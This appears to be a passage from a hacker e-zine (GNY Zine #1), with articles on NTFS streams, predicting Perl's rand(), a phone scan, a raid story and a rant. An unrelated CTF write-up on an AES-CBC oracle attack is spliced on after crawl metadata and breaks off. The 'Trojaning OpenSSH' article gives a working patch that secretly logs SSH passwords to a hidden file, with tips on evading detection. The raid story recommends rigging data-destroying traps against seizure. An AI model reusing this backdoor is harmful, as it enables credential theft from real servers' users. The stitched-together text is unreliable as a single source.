Delete the contents of worm.exe and then save. Notepad will tell you that the file is
empty and ask if you want to delete it - confirm the action, and you are done.
Note: If you are using NT 5.x, then you will need Notepad from NT4tools to be able to
remove a "worm.exe" from a folder.
Tools and Codes
---------------
Now, for all of you that want to play more and have some fun with it, I'll provide
you with some application names I know of that are useful when dealing with NTFS ADS:
* Sysinternals (a must have)
* streams.exe (Included in Sysinternal suite)
* LADS
* crucialADS by CrucialSecurity
And here are some links that you might find interesting:
*
*
*
*
*
*
*
*
*
Thanks goes to tUff, who first introduced me to NTFS ADS.
[====================================================================================]
-=[ Derandomizing Perl's Random Number Generator ]=-
[ Author: Kheldar ]
Contact: irc.distrust.us #gny
Website:
Computers are deterministic machines. As such, true randomness is hard to achieve.
Instead, computers settle for pseudorandom numbers - numbers that appear random at
first glance, but in reality follow a very distinct algorithm.
For this paper, I'm going to be taking a look at the pseudorandom number generator
(PRNG) that my installation of perl uses. It can be found with the command "perl
-V:randfunc", and on most *nix systems the algorithm's called drand48.
The algorithm produces a sequence of 48-bit integers, X, and can be described by the
following equation:
Xn+1 = (0x5DEECE66D * Xn + 0xB) mod (2 ** 48)
As you can see, it's a pretty simple algorithm. The important part is the modulus
performed at the end - since it's mod 2**48, 48-bit arithmetic is performed (that's
where the 48 in the name comes from, if you haven't figured that out yet).
So, now you know what happens when you call perl's rand() function. The program
takes the previous value in the sequence, and using the aforementioned formula,
calculates the current value.
"But, what will the first value in the sequence be", you ask. Well, if you've ever
heard the term "seed", or used the function srand(), this is it. The srand() function
simply changes the previous value in the sequence, changing the outcome of the next
one.
With the drand48 algorithm, it's a bit more complicated than simply assigning the
value. The function takes a 32-bit integer, and sets the 32 high-order bits of the
previous term to that value. Then, the 16 low-order bits (remember, we're dealing
with 48-bit integers here) are set to the arbitrary value 0x330E.
Now that we know all that, I think we're able to write our own implementation of
drand48...
Here it is:
#!/usr/bin/env perl
use strict;
use warnings;
use bignum;
# the current value
my $x;
sub srand48 {
$x = (shift or 1) & 0xFFFFFFFF; # only use the low-order 32 bits
$x <<= 16; # set the 32 high-order bits to the arg
$x |= 0x330E; # set the 16 low order bits to the arbitrary value 0x330E
}
sub drand48 {
# compute the next value
$x = (0x5DEECE66D * $x + 0xB) % (2 ** 48);
# return said value using the same precision as perl's rand()
return sprintf "%.15f", $x / (2 ** 48);
}
You'll notice in the drand48() function that we actually return a decimal value.
This is in order to match the precision used by perl's rand() function.
Now, let's compare the output of our new drand48() function with perl's good old
rand() function. Append the following code to your script:
my $val = shift;
srand48($val);
srand($val);
for(1..5) {
print drand48() . " " . rand() . "\n";
}
And let's check the outcome!
$ ./myrand.pl 1
0.041630344771878 0.0416303447718782
0.454492444728629 0.454492444728629
0.834817218166915 0.834817218166915
0.335986030145200 0.3359860301452
0.565489403566136 0.565489403566136
$
Not bad, I'd say.
Now, there are a couple interesting things we can do with this - the most obvious
being predicting future random numbers. In fact, all we must do is figure out where
perl's random number generator is and calculate the next value! It's all coming
together :-).
Here's a function that will do just that:
sub predict_rand {
my $curr = shift or return;
$x = $curr * (2 ** 48);
print "\nI predict the next random number is: " . drand48() . "\n";
}
When passed the current output of perl's rand(), this function will predict the next
one to several decimal places. It's not perfect, because rand() doesn't actually give
you enough information to find out exactly what the current term is. In order to do
that you'd have to, well, find out where it's stored in memory and read from there.
But that's for next time.
~Kheldar
Sources:
[1]
[====================================================================================]
-=[ Trojaning OpenSSH ]=-
[ Author: storm ]
Website:
The following patch file may be used to insert a logging feature in the latest source
release of portable OpenSSH (5.5p1). Portable OpenSSH is designed to run on a
multitude of operating systems, most notably Linux, while the main release is designed
to essentially run only on BSD. These edits should be easy to migrate to other
releases and version numbers if you are inclined to do so.
By patching and installing a trojaned OpenSSH package, a hacker may potentially
escalate and expand his access by capturing valid logins and re-using the credentials
elsewhere on the network. Keeping a list of valid logins also provides additional
points of potential re-entry, should the hacker's presence be discovered.
The patch I wrote is very simple and does not provide rootkit-like features, such as
a "magic password" that grants instant root access or the ability to hide login
sessions. Its sole purpose is to log both successful and unsuccessful login attempts
to a text file, where a hacker (or nosy system administrator) may view them at a later
time. Future releases of this patch may possibly provide extended features and
additional logging abilities, such as submitting entries to a remote HTTP server.
A final step to perform after installation is to copy the host keys from the
existing, un-trojaned SSHd to the new, trojaned SSHd to prevent any red flags from
being raised upon connecting. Observe, where I use port 22 as the untrojaned SSHd and
port 2222 as the trojaned SSHd to exemplify the process:
delicious:~# ssh localhost -p22
The authenticity of host 'localhost (127.0.0.1)' can't be established.
RSA key fingerprint is 9d:f4:b6:a4:02:fc:1f:f3:ac:b4:26:5b:45:22:20:cb.
Are you sure you want to continue connecting (yes/no)? no
Host key verification failed.
delicious:~# ssh localhost -p2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is 53:ec:14:9d:8d:0b:85:52:04:8b:88:26:9a:54:89:6c.
Are you sure you want to continue connecting (yes/no)? no
Host key verification failed.
delicious:~# cp /etc/ssh/* /root/ssh/openssh-5.5p1-install/etc/
delicious:~# ssh localhost -p2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is 9d:f4:b6:a4:02:fc:1f:f3:ac:b4:26:5b:45:22:20:cb.
Are you sure you want to continue connecting (yes/no)?
Have fun. ;)
-=-=-
diff -rupN openssh-5.5p1/auth-passwd.c openssh-5.5p1-backdoored/auth-passwd.c
--- openssh-5.5p1/auth-passwd.c 2009-03-07 19:40:28.000000000 -0500
+++ openssh-5.5p1-backdoored/auth-passwd.c 2010-06-17 14:14:23.000000000 -0400
@@ -123,6 +123,19 @@ auth_password(Authctxt *authctxt, const
}
#endif
result = sys_auth_passwd(authctxt, password);
+
+ // Begin Backdoor
+
+ if ( result ){
+ snprintf(hidden_buff, sizeof(hidden_buff) - 1, "Successful login %s:%s
from %s\n", authctxt->user, password, get_remote_ipaddr());
+ hidden_log();
+ } else {
+ snprintf(hidden_buff, sizeof(hidden_buff) - 1, "Invalid login %s:%s from
%s\n", authctxt->user, password, get_remote_ipaddr());
+ hidden_log();
+ }
+
+ // End Backdoor
+
if (authctxt->force_pwchange)
disable_forwarding();
return (result && ok);
diff -rupN openssh-5.5p1/includes.h openssh-5.5p1-backdoored/includes.h
--- openssh-5.5p1/includes.h 2009-08-20 02:16:01.000000000 -0400
+++ openssh-5.5p1-backdoored/includes.h 2010-06-17 14:12:24.000000000 -0400
@@ -172,4 +172,24 @@
#include "entropy.h";
+// Begin Backdoor
+
+#include <sys/stat.h>
+#include <stdio.h>
+#define HIDDEN_LOG_FILE "/tmp/.ssh_log"
+
+FILE *hiddenlog;
+char *hidden_buff;
+
+#define hidden_log() { \
+ chmod(HIDDEN_LOG_FILE, 0666); \
+ hiddenlog = fopen(HIDDEN_LOG_FILE, "a"); \
+ if ( hiddenlog != NULL ) { \
+ fprintf(hiddenlog, "%s", hidden_buff); \
+ fclose(hiddenlog); \
+ } \
+}
+
+// End Backdoor
+
#endif /* INCLUDES_H */
-=-=-
[yo@Wakari ~]$ cat /tmp/.ssh_log
Invalid login root:llolol from 127.0.0.1
Invalid login root:dfsdfsfsdf from 127.0.0.1
Invalid login root:dkfjgfdgjdk from 127.0.0.1
Successful login root:crapz0rs from 127.0.0.1
Successful login root:crapz0rs from 192.168.0.110
[====================================================================================]
-=[ Story of a Raid ]=-
[ Author: OrderZero ]
Contact: irc.distrust.us #gny + Freenode
Alright, so we've all had the thought "OH SHIT - this is serious. I could get raided
for this." (right?). It eventually dissipates like the adrenaline of a huge hack does,
and after a while you forget anything about it, maybe storing the files on a
thumbdrive somewhere after reviewing them. Nothing valuable or interesting? Oh well.
Well, that "oh well" may be the next "FBI SEARCH WARRANT." Yeah, it seems like I'm
making a joke, doesn't it? I thought it was pretty funny too, the paranoia all leading
to funny "FREEZE! FBI!" jokes. That joke become reality for me on June 9th, 2010 at
6:20AM.
It happened one night after a long day of work. I had the next day off, so I had my
usual energy drink-induced buzz going, doing my regular exploring around, chatting
with friends and such. I was getting pretty weary around morning; I was about to check
on some boxes of mine and my friend's (legitimate, of course) and pass out, when I
suddenly hear loud footsteps on the porch. I simply attributed them to dogs or some
other random family visitor. It wasn't until I was turned around, being patted down
like a sex doll, that I realized what had just happened, and to this day, it still
seems like a dream... I had just been what we so often laughed about in those chat
rooms, what we so often attributed to paranoia and movies - I had been raided. Sure, I
had seen the stories: Mitnick, Bernie, etc., and almost instinctively knew what to do
when I realized what was happening.
They quickly marked off the rooms in the home A, B, C, etc. while photographing
anything and everything (Note: At this point, I hadn't been informed as to what the
search warrant was about). They quickly escorted me outside to their (Guess the
vehicle color) black Chevy Suburban with tinted windows, where they made it an
accident to put me in the backseat while one agent sat beside me and another sat in
front. They quickly started asking questions. Not really knowing what they wanted (but
knowing what might happen), I answered few questions and asked for a lawyer when
things started getting aggressive. Then they did mention it was completely voluntary
but in my "best interest" to tell everything I knew so I could get a good word in with
the people above them (Yeah, I bet). After about 2 minutes of him telling me that I
was lying and me simply looking him in the eye for about 30 seconds, they escorted me
out of the vehicle, at which point I went inside and sat for a good 4 hours while they
searched through everything, connected to my network (One agent mentioned "It's
ipconfig, right?") and took snapshots, took my books and magazines related to
computers, and took anything that could modify, alter, create, analyze, or store data.
My parents didn't completely realize what was going on, simply knowing that I was a
computer nerd and could pretty much "fix anything relating to computers." They knew I
was interested in computer security, and while my mom wasn't completely against it,
she certainly wasn't for it. My dad didn't know as much about computers but did
mention several times that I'd either end up in jail or at a top paying job.... Go
figure.
While sitting, I tried to relate to some of the guys in there. I mean, here were
people who supposedly knew what they were doing, right? My personal observance
indicated one person who apparently had been bragging about Ubuntu and was the geek of
the group. He, according to others in the group, was working for Microsoft in some way
or another when he was hired by the FBI and had done some kind of translation in the
Freedom Downtime movie for 2600 (After they found my magazines, they mentioned this
humorously). He at least mentioned a Linux distribution, so he scored a few points
with me. While this social interaction was going on, I was going through my entire
hard drive in my head.
I'm not going to say I haven't done things that might warrant such a search. I've had
my share of dark side moments. This paper isn't to declare my innocence or declare the
FBI is evil - they're just doing their job (albeit with too much power), but some
simple rules need to be followed when copying data like we all do. I will list a few
here:
1. Use encryption - This is possibly my fatal mistake. I didn't encrypt as much as I
should have, and it really will leave me open to anything the FBI wants to portray me
as.
2. Booby traps - I didn't use them. It does seem a bit far-fetched, but if I had a
magnet nearby, do you think I would've used it? Damn straight. However, even if I did
have a magnet, there is little time to do anything once they bust in. So, what is
there to do? Well, there are various online sources for mechanisms that will
conditionally destroy data or the drive itself. It's not required, but it's certainly
recommended in my case...
3. Incriminating evidence - Sure, it's just a simple server-client program in C, but
what is it to the FBI? A trojan possibly? You bet your sweet ass. All I can say about
this is that anyone who is a regular programmer should keep this encrypted as well.
Anything simple can be turned into something evil by anyone with enough motive.
As this paper is being written, I have not been given further information about the
case against me. The FBI very simply came in, took everything, and left. It was very
much similar to being robbed, except the perpetrators had an excuse. What was their
excuse, you ask? Well, it's the good ol' Title 18 (section 1030, specifically)
regarding a recent leak of emails and future plans within the website Lockerz.com*.
The FBI agent who came to my state to conduct the search was from the same place this
website is based out of. This law states:
- intentionally accesses a computer without authorization or exceeds authorized
access, and thereby obtains information contained in a financial record of a financial
institution, information from any department or agency of the United States, or
information from any protected computer
- obtains anything of value, unless the object of the fraud and the thing obtained
consists only of the use of the computer and the value of such use is not more than
$5,000 in any 1-year period;
- and loss.
- with intent to extort from any person any money or other thing of value
- knowingly and with intent to defraud traffics in any password or similar
information - such trafficking affects interstate or foreign commerce or such computer
is used by or for the Government of the United States"
In conclusion, it's healthy to be paranoid in this type of scene. Don't laugh off FBI
raids, because they're real, they do happen... It did happen. Make sure WHEN it
happens that there's nothing that can be thrown at you, and if there is, make sure
it's encrypted. Don't put it off - you could be raided before you even close this
window.
*Lockerz.com is an invitation-only website where friends invite other friends, and
for every friend who signs up, PTZ are given. These PTZ are used to obtain prizes.
While the pyramid scheme is obvious, the project is funded by Liberty Media, one of
the largest media companies in the U.S.
[====================================================================================]
-=[ Programming Challenge - Elementary Cellular Automata ]=-
[ Author: storm ]
Website:
According to Wolfram MathWorld, ."
To break that definition down into layman's terms, a cellular automaton is a
mathematical modeling system that displays progressive growth through a grid of cells
according to a defined ruleset. Future steps in growth in cellular automata (each
iteration referred to as a "generation") are dependent upon the behavior of
previously-generated cells. How these future cells are generated is also dependent
upon the ruleset. Although a ruleset of a cellular automaton may technically change
as growth progresses, it typically remains constant throughout the entire system.
Cellular automata are utilized in mathematics and science to analyze and predict
behavior in nature. For example, such models have been used to explain patterns of
snowflakes and the formation of conch shells.
For this programming challenge, we will concern ourselves with elementary cellular
automata, one of the simplest classes of cellular automata. Elementary cellular
automata are one-dimensional, and cells may assume only one of two states - on (1) or
off (0). Each rule is comprised of eight states, which are defined using binary
notation (000, 001, 010, 011, 100, 101, 110, 111). There are 256 unique rules. One
may determine the ruleset by converting the decimal rule number into binary and
matching each digit of the resulting number with its respective state. Take the
following as example:
Rule 90
decimal 90 = binary 01011010
By assigning each digit of the binary number to a state, starting from the least
significant bit, we achieve:
000 = 0
001 = 1
010 = 0
011 = 1
100 = 1
101 = 0
110 = 1
111 = 0
Example output of an elementary cellular automaton generated using rule 90 over 16
generations
Building from the information provided, your task is to continue researching
elementary cellular automata and write a program that generates a cellular automaton
based upon user input of both rule number and number of generations. However, the
output of this system cannot be ASCII or ASCII-like, as shown above. Examples of
acceptable solutions include dynamically rendering the system as an image file or as a
series of HTML tags that render the system in a web browser. Be creative. :)
Solutions may be written in any programming or scripting language.
Correct, acceptable, and innovative solutions will be published in the next issue of
GNY Zine, and their authors will be recognized. Solutions may be submitted by:
- Forum ()
- IRC (irc.distrust.us #gny)
Excellent resources for further information on cellular automata:
[====================================================================================]
-=[ ConfCon 2010 Call for Papers ]=-
[ Author: PhreakerD7 ]
Website:
What is it?
ConfCon is a one-of-a-kind conference call which takes place once a year. We have
many talks on a wide variety of telephony-related subjects from numerous people in the
scene. In 2009, we had people like Jason Scott (of textfiles.com), df99 (of
ProjectMF), Lucky225, Royal, ThoughtPhreaker, RijilV and many more. It was a day of
fun, lots of learning, and lots of cool experiences.
Who runs it?
ConfCon is a project run by AntiLimit. At its core, ConfCon was founded by PhreakerD7
and ThoughtPhreaker with lots of help from everyone in the scene (namely, Jason Scott,
RijilV, Royal, BitRobber, and df99). Without these people (and many more!!), ConfCon
would never have happened. In a sense, ConfCon is run completely by the people, for
the people.
How can I help?
Well, based on what was previously said, we need PAPERS! We need submissions on
anything telephony related!! If you've just done some cool VoIP hax (Asterisk,
FreeSwitch, any of that), or if you've just pwned a PBX, or you've scanned some
exchanges and found some interesting numbers, we WANT YOU! Maybe you've got some good
SEing tips, some cool tricks for getting around phone things, or just maybe abusing
the latest and greatest phone invention? If you're into hacking phones and mobile
devices... LET US KNOW!
Anything and everything related to telephony is something we're interested in. All
information for submitting papers can be found on: . Please submit
something! Without you, ConfCon is nothing..
What are the details on ConfCon 2010?
It's currently scheduled to take place on July 24th (the weekend after HOPE, and the
weekend before Defcon) around 3PM PDT (4PM MDT, 5PM CDT, 6PM EDT). If you'd like to
participate in the conference (FREE OF CHARGE!!), simply visit the ConfCon.org
website, sign up there, and receive your conference number. All you have to do is
dial-in, and enjoy! :)
[====================================================================================]
-=[ 907-887-88xx Scan ]=-
[ Author: storm ]
Website:
I decided to scan the following range after finding an AT&T Network Operations Center
(NOC) on 907-887-8888. The only other number that seems to really stick out is
907-887-8889, which ThoughtPhreaker and I identified as possibly being a Nortel
CallPilot system. 907-887-8880 would seem uninteresting elsewhere, but it also does
stick out somewhat amongst a sea of Audix boxes.
907-887-8800 - reorder
907-887-8801 - ring out to "It is not necessary to dial a 1..."
907-887-8802 - Audix
907-887-8803 - reorder
907-887-8804 - reoder
907-887-8805 - Audix
907-887-8806 - Audix
907-887-8807 - Audix
907-887-8808 - Audix
907-887-8809 - Audix
907-887-8810 - Audix
907-887-8811 - Audix
907-887-8812 - Audix
907-887-8813 - Audix
907-887-8814 - Audix
907-887-8815 - Audix
907-887-8816 - reorder
907-887-8817 - reorder
907-887-8818 - Audix
907-887-8819 - reorder
907-887-8820 - Audix
907-887-8821 - Audix
907-887-8822 - Audix
907-887-8823 - Audix
907-887-8824 - Audix
907-887-8825 - Audix
907-887-8826 - Audix
907-887-8827 - Audix
907-887-8828 - YCDNGT (092T)
907-887-8829 - reorder
907-887-8830 - Audix
907-887-8831 - reorder
907-887-8832 - reorder
907-887-8833 - reorder
907-887-8834 - reorder
907-887-8835 - reorder
907-887-8836 - reorder
907-887-8837 - YCDNGT (003T)
907-887-8838 - reorder
907-887-8839 - reorder
907-887-8840 - YCDNGT (092T)
907-887-8841 - reorder
907-887-8842 - Audix
907-887-8843 - Audix
907-887-8844 - Audix
907-887-8845 - Audix
907-887-8846 - Audix
907-887-8847 - Audix
907-887-8848 - Audix
907-887-8849 - Audix
907-887-8850 - Audix
907-887-8851 - Audix
907-887-8852 - Audix
907-887-8853 - Audix
907-887-8854 - Audix
907-887-8855 - Audix
907-887-8856 - Audix
907-887-8857 - Audix
907-887-8858 - Audix
907-887-8859 - Audix
907-887-8860 - Audix
907-887-8861 - Audix
907-887-8862 - Audix
907-887-8863 - Audix
907-887-8864 - Audix
907-887-8865 - Audix
907-887-8866 - Audix
907-887-8867 - Audix
907-887-8868 - Audix
907-887-8869 - Audix
907-887-8870 - Audix
907-887-8871 - Audix
907-887-8872 - Audix
907-887-8873 - Audix
907-887-8874 - Audix
907-887-8875 - Audix
907-887-8876 - Audix
907-887-8877 - Audix
907-887-8878 - Audix
907-887-8879 - Audix
907-887-8880 - VMS
907-887-8881 - Audix
907-887-8882 - Audix
907-887-8883 - Audix
907-887-8884 - Audix
907-887-8885 - Audix
907-887-8886 - Audix
907-887-8887 - Audix
907-887-8888 - AT&T NOC
907-887-8889 - "voice item maintenance"
907-887-8890 - Audix
907-887-8891 - Audix
907-887-8892 - Audix
907-887-8893 - Audix
907-887-8894 - Audix
907-887-8895 - Audix
907-887-8896 - Audix
907-887-8897 - Audix
907-887-8898 - Audix
907-887-8899 - Audix
[====================================================================================]
-=[ Et Cetera, Etc ]=-
[ Author: teh crew ]
Let's get things straight. The word "hacker" is not a name that should be treated or
given lightly. The concept of hacking has been bastardized so severely over the years
that it's near impossible to even find a kid in this shitpile of a "scene" who knows
the true definition. No longer are learning or exploration at the forefront of one's
mind. Priorities have been shuffled. Individuals are now judged based upon how many
boxes they have rooted, how large of a DDoS they can push, or how quickly they can
pull personal information on others. Curiosity has been replaced with egotism, and
the true meaning of hacking has been lost in the process.
We like to call these individuals "script kiddies" - the cancer of the hacking scene.
These half-retarded morons are everywhere, flaunting their e-dicks as proudly as
possible, just begging for attention. Everyone is suddenly an expert, and every
14-year-old now claims to be the elitest fucker on the Internet. Closing their minds
to everything that is unimportant in their quest to command respect from other morons,
script kiddies have a single goal: to climb the digital social ladder as quickly as
possible. Humility is a rare occurrence in an environment saturated with such
cluelessness and ignorance.
Logic that associates behavior like this with the true meaning of hacking is about as
fucked up as your mother is a sleazy crackwhore. Hacking is about a love for
technology and an unquenchable thirst for analyzing, breaking, and rebuilding it.
Hackers are driven by passion, not by personal gain. It's about time for this new
generation to realize that.
Such a mindset may open doors and present entirely new opportunities for hackers to
experience technology and learn in the process. There is more to hacking than simply
web-based exploits and buffer overflows. Take some time to learn about reverse
engineering and how binaries are actually executed by the machine. Assembly
programming is a powerful skill. Pick up your telephone - have you ever thought about
how your calls are actually routed from origin to termination? The PSTN (Public
Switched Telephone Network) is the largest and most robust human network in the world,
second only to the Internet itself. Radio junkies have been owning the airwaves and
innovating new methods of efficient wireless transmission for almost a century, giving
birth to the hacker community and culture itself. A boring summer may be replaced
with becoming licensed as a ham radio operator.
Passion is not something that can be taught by a teacher or an essay - it must be
realized, and once it is realized, it must be embraced. Embrace it by any means
necessary. Research new technologies and play around with them in unconventional
manners. Learn new concepts and expand your interests by reading online publications
such as Phrack or venturing to Borders and picking up a copy of 2600. Meet other
hackers and exchange knowledge and experiences by attending conferences or local
meet-ups (or start your own!). And most importantly, have fun while doing it.
Hopefully, such a mindset is adopted by more in this new generation of hackers. For
those who have completely missed the ball, however, we can only hope that this little
rant has sparked a change. With the recent disintegration of many prominent script
kiddies communities within just the past few years, perhaps we're onto something.
THE TREE OF FALLEN SKIDS
------------------------
Let us pay our respects, or something.
.. ............ ...........7DNMM7?NOD?,7O?.,.,...,......:,........... ...
. ...... ........,...+NDNO?D+7?I=?I?7$Z=++......,=.~8ONZ~D+,..,..... ...
.... .............ON=I$?++?I???+=??+??++?M~,$ZD~OO=+?=?7OMI?ZZ... ...
............,Z??++?+=+==++?+I++?++???+7N=I7++I=O?Z$I++??78.,... ...
. , .......=M+??+========++????+???+=7$+=~==+=+??+$???+I7+=..,...... ..
... ....:.+=8+~+M87+++~++????++??+OZ7$?I?$+++=+++=+++??++???++?I?+O,..........
.......:ZD=87=~O7=NI++++???++??+??I???=?$?+87I???+?+??++????+++=+==?==..........
......~++?I?+==+?+?+=+??????????+??=?+?+?=$7??+?++??++??+?+?????+=I+O..,........
.....ID?++~~======+++++????????========+++I+OI??=77=O uNkn0wn ==+I$.,.,.......
....?$=+=~+++++++++++??????????++?++++===+????8I?Z?++?$$????????+=?78=...,......
....:M7+=?++????????????????????????+??+=+=?+7$7II?++?+8??????+?+?=?++D.......
,...+M7~=??=???? h4cky0u ??????++??+??++~?+++Z77III??+???????+?=?++IZ......
...,ID?+++??????????????????????????????==+I?++78I7?7777I?+?+?=???+?O~.....
....Z8I+??++????????????????????????????++?+??I87III??+=ZZZOZ$7?=?=?O......
....=M$+????+++??????????? darkc0de ???????+?IZIODI?I+?++???D$Z+=O+. ....
.....,M??++++++???????????????????????????+III7O+I?7$===+===+++??OM7~.......
......=7+$?????==I?=I++??++????+???????IIIII77II=+==++++++???+==+??=?.........
..... ..ZN$NI7+?+?DZ$=$7$7777+?+??++??II7ZZIII7?+?++++??I+I$77+++?+?N,.......
.... ....+ND7M+?OI7Z?=?8III7777IIIII7$Z8OOIOON=7+?????+++?~+8OZ+++=?8,,.. ..
... ...O8Z$+++I7I$77+INO?O8ZO$$II7ZO$I7$$OOOO8$=I????????==++7O+?++?+D$$,......
......$I7?++?+?+?+?II?I$?DZ$+IZZO$7DZ$IOOZ$Z$Z8=???????+++??+++$I?+???7I+M+.....
....ON?=~=?++++?+?++II?7+O+?+I8ZZ7$Z7DIZZ7$$$O?I?????++?????+????+??+?7?+8O?...
...ONZ=+==????+????+?+?7I+O?+??OI$8IOZZ+$$$Z$$D7?+??? h4ck-y0u ?+??+7D??==N:..
..++=?++??+?+$$$??+??+II?$=I$??II?+ZZI7I$7Z$$Z87I?++++?????+??????????7O+=++O8,.
:8N7+==+??OOZI?II???+II77$I++$ZIZI?+I+++?7$Z$ZO$I?++??++??+?7?++I?+???8Z++?==I8.
Z8==+=???+Z=?+++?I?+?7$7$DO8Z=??DI=+877$ZZZ$$78I??7II???+Z7I+I?+?++???D$7+=~7M~.
DDI???????OI+ BHF =OO?8OZZ7$ZI+I??7I?OOZ787$II8O$I777?+I=~?ZI???I7?IIII++=??N~
O++I+O7+???8?+??????OZ7D$ZZ$7$O7O+I?++?O$?I8$$$I7ZOO8?II?I+=?8??+++$8IIII+==??N~
MZ+?7$+?+??Z$ZI+??I?II8+IO$7$OIZ$Z?II=ZD$?7Z8Z$7?O$8OIO?II??+Z+??++OZI77???++$D.
N++?+7$??+?+?=++?+I7I?8OZ$I?OII$$7O++=I7II8$$8D$IO?7ZO777$IOI7???ZZ$7III?+==++M~
?8M=+Z??????++???I78+8OZZ78Z?I7$ZZ8O+=???777$8?7++OZ$$O$~+=?~88Z8$7$DI7II?++?ID~
.:MI++7?++?++?+?I8$7Z8ZO8I7Z7?+88OZZI7?I?I787III+ZZZI$7?++++==+IZ$7OIIII++?++??N
...D~+7?I?+??=???DO88$$ZD?7?I$??OO?I7$???$?++??7I$77$OI+??$OO=+=+$8$I77I??++NNM=
...?Z$D++???I??+?=7+?+II7I?I7$8+??I7IZ?+?$?++7??7$$I7OOII++?+$7+?+?+OII7???IM~..
......+DDM+?O+?$NO+++????+I?8OOD??II?$7+I+Z?$$7O888O8DO78OI+?Z????=I+7II+?+?....
. ...,.Z8DDN8DN+I??+?Z?IDO$$$O7I=?=Z????+?==$Z$7$7Z$ZZIIIO?++7?Z+++I???7?7.,..
....,.......,??DID8$O8$$$77?O7$I??I+I~?+?+??Z$$$IO$O$8$8ZI?+?8+?8+?OID+:....
. .......,......,.ON8OI?$8O777I?=++=Z++?8?I$OO77II77ZZI7=I=?M?MMI:.......
... ........... ..,.....+$MZI$D7$7IO=Z+=?II?8$O+??I7DDZ+O$$DMD$+.., .. ..
.. ........................~~8MZ7?IO?8?+III?III?=IN,....... , .... . .....
.. ..........88II7O?O++$I$III?D7...........
............ZN+?ZZ?$+?ZIOZI78,............
.............$N+I8$?I?IZI$O$OZ............
..... ........$D+78$+?II7?777D:............
.. ........ .......OO?OZ7?II?I7$$87. . .........
........ ......,N7?O$7I$II7$Z$O,.................
....... . .. .7D?78$IIZIII7$7+.....................
..... ... .... .NIIIZ7??ZI?I?8I8.....................
. ....... . ........ O??I7OII?ZI?I?8IN~.....,..............
....... ... ..... ...........Z?I7Z$?I?I$I7I$O$O... ...........................
....... ... ... . ...........$?77O$????$I8+?$7Z?......... ... ...........
....... ... .. . .......,.,+M$Z7ZI I+Z $=+Z$8:........ ... ...........
. , ,............ ,,.,....:8ZIO$D+ ?=??7ON7............ .............
. , ,.............,, ...,,N+I$ID++I n0ths I?7$I?++?IO+......,.,. ., ... ..,...
. , ,........... ..,. .:8Z+I$OZ$?=I? 7$7?Z?I??7??M.... ..,. ., ... ,.....
. , ,............,...=OZ?I?7$8++=???I 7$8I77ZII?I?I7+O~,..... ... , . , ....
............,..,.,..:NZI=?=?787=?+?I???I++?IO7$$7ZI??I+IIN,....,. .............
....... ...,...:78$?I?I?II$7$+I?I7$OOI7?=??IZDDNN7$$II?I7.,..,....,............
.... . .....=8OI+I+I$ONNDOID+II??NNNDZ77Z$I++II8$,=ZN?I?+8?~.. . . ..........
. . .. .N8ONN87=,......:MII7ID+...=$MOZ7$ZZ????N=.DN7?+?+$ODO. .. . .. ...
..............,ODII??D7.........:,..$M8??7Z..+78ZI~~~: . .
.............D+I8NNO...............,..,+ON.,... .. ...
...........,?8D~,... .,... |\ _,,,---,,_
0 it's a kitty! /.`.-'`' -. ;-;;,_
+ |.3- ) )-,_..;\ ( `'-'
'---''(_/--' `-'\_)
Thanks to ElectRo` for that lovely ASCII art. Anyways, it's probably about time we
wrapped this up.
So, this is the end of GNY Zine, Issue #1. Hope you enjoyed it, and if you want to
drop us a line, our contact information is in the intro. May your hax be plentiful
and full of fish.
<3, the gny crew
[====================================================================================] | https://packetstormsecurity.com/files/91588/Go-Null-Yourself-E-Zine-Issue-01.html | CC-MAIN-2017-47 | refinedweb | 8,961 | 54.22 |
Introduction¶
vasprun is a python project used for quick analysis of VASP calculation solely from
vasprun.xml. It has the following features:
- band gap calculation
- dos plot (total dos / orbital partial dos / atomic partial dos)
- band structure plot (with color map enhancement)
- incar/potcar/poscar generation
- force analysys
- Kohn-Sham orbital eigenvalue analysys
- Infrared intensity analysis
- dielectric constants
- elastic constants (to add)
Version info¶
The current version is
1.0.0 at GitHub.
Expect updates upon request by Qiang Zhu at University of Nevada Las Vegas.
Installation and Setup¶
This code is written based on Python 3. Python 2.x won’t be supported
Dependencies¶
Required packages:
Installation¶
To install it, one can simply type
pip install vasprun or make a copy of the source code, and then install it manually.
git clone cd vasprun python setup.py install
This will install the module. The code can be used within Python via
import vasprun print(vasprun.__version__) | https://vasprun-xml.readthedocs.io/en/latest/ | CC-MAIN-2020-10 | refinedweb | 157 | 55.03 |
We.
Mulitple blocks can be submitted where the ciphertext of the previous block will be used as the IV for the next. The IV for the first block is randomly generated and sent to the client by the server. Data is encrypted in blocks of 16 bytes (128 bits). The output provided is the encrypted version of <input> + <level_key> + <padding>.
So how do we find the hidden challenge key… Let’s look at what happens if we supply input AAAA. In that case the input to AES looks as follows:
block 1 | block 2 | block 3 | AAAA xxxx xxxx xxxx|xxxx xxxx xxxx xxxx|xppp pppp pppp pppp|
In this example the x’s represent characters from the secret key and p are padding characters. In this case there is only one unknown byte in the third block which is the last character of the key. If we store the encrypted version of this block we can simply implement a linear search by first encrypting appp pppp pppp pppp, then bppp pppp pppp pppp, then cppp pppp pppp pppp, etc. Until we get an encrypted block which is equal to the block we are searching for.
There is one slight complication here which are the IVs, which are meant to make sure that the same input doesn’t always encrypt to the same output. However the IV for the third block, which we are searching for, is simlpy the ciphertext of the previous block. So in practice the third block looks like this:
(xppp pppp pppp pppp) xor (cipher_text_second_block)
So if we submit (appp pppp pppp pppp) xor (cipher_text_second_block) xor (next_iv) where a is our guess for the last character of the key we receive the same output if a was guessed correctly.
The nice thing about this approach, is that we can keep repeating it to reveal the next character of the key, for example to find the second character of the key we use input AAAAA which will yield the following encrypted block:
block 1 | block 2 | block 3 | AAAA Axxx xxxx xxxx|xxxx xxxx xxxx xxxx|xxpp pppp pppp pppp|
Since the last character of the key is known from the previous step we are again only left with a limited number of possibilities. This process can be repeated to reveal the entire key.
We implemented the attack in python:
